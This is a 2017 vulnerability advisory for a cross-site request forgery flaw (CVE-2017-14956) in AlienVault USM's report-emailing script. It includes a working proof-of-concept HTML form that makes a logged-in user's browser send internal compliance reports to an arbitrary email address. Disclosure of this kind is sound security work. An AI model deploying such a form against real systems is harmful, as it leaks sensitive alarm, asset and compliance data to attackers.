ADVISORY INFORMATION

  • Product: AlienVault USM
  • Vendor URL: https://www.alienvault.com
  • Type: Cross-Site Request Forgery [CWE-253]
  • Date found: 2017-09-22
  • Date published: 2017-10-13
  • CVSSv3 Score: 6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)
  • CVE: CVE-2017-14956

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

AlienVault USM 5.4.2 (current) older versions may be affected too.

INTRODUCTION

AlienVault Unified Security Management (USM) is a comprehensive approach to security monitoring, delivered in a unified platform. The USM platform includes five essential security capabilities that provide resource-constrained organizations with all the security essentials needed for effective threat detection, incident response, and compliance, in a single pane of glass.

(from the vendor’s homepage)

VULNERABILITY DETAILS

AlienVault USM v5.4.2 offers authenticated users the functionality to generate and afterwards export generated compliance reports via the script located at “/ossim/report/wizard_email.php”. Besides offering an export via a local file download, the script does also offer the possibility to send out any report via email to a given address (either in PDF or XLSX format).

An exemplary request to send the pre-defined report “PCI_DSS_3_2__Vulnerability_Details” to the email address “email () example com” looks like the following:

/ossim/report/wizard_email.php?extra_data=1&name=UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw==&format=email&pdf=true&email=email@example.com

The base64-encoded HTTP GET “name” parameter can be replaced with any other of the approx. 240 pre-defined reports, that are shipped with AlienVault USM since they do all have hardcoded identifiers, such as:

  • Alarm_Report
  • Ticket_Report
  • Business_and_Compliance
  • HIPAA_List_of_identified_ePHI_assets
  • PCI_DSS_3_2_Database_Users_Added
  • VulnerabilitiesReport

etc.

Since there is no anti-CSRF token protecting this functionality, it is vulnerable to Cross-Site Request Forgery attacks. An exemplary exploit to send the “PCI_DSS_3_2__Vulnerability_Details” report as a PDF-file to “email () example com” could look like the following:

<html> <body>
    <form action="https://example.com/ossim/report/wizard_email.php";>
      <input type="hidden" name="extra&#95;data" value="1" />
      <input type="hidden" name="name" value="UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw&#61;&#61;" />
      <input type="hidden" name="format" value="email" />
      <input type="hidden" name="pdf" value="true" />
      <input type="hidden" name="email" value="email&#64;example&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
</body> </html>

RISK

To successfully exploit this vulnerability a user with rights to access the compliance reports must be tricked into visiting an arbitrary website while having an authenticated session in the application.

The vulnerability allows remote attackers to trigger a report generation and send the report out to an arbitrary email address, which may lead to the disclosure of very sensitive internal reporting information stored in AlienVault USM through pre-defined reports such as:

  • Alarms
  • Assets Inventory
  • Compliance Reports such as PCI DSS and HIPAA
  • Raw Logs
  • Security Events
  • Security Operations
  • Tickets
  • User Activity

SOLUTION

None.

REPORT TIMELINE

  • 2017-09-22: Discovery of the vulnerability
  • 2017-09-22: Sent full vulnerability details to publicly listed security email address
  • 2016-10-01: MITRE assigns CVE-2017-14956
  • 2017-10-03: No response from vendor, notified vendor again
  • 2017-10-13: No response from vendor
  • 2017-10-13: Public disclosure according to disclosure policy

REFERENCES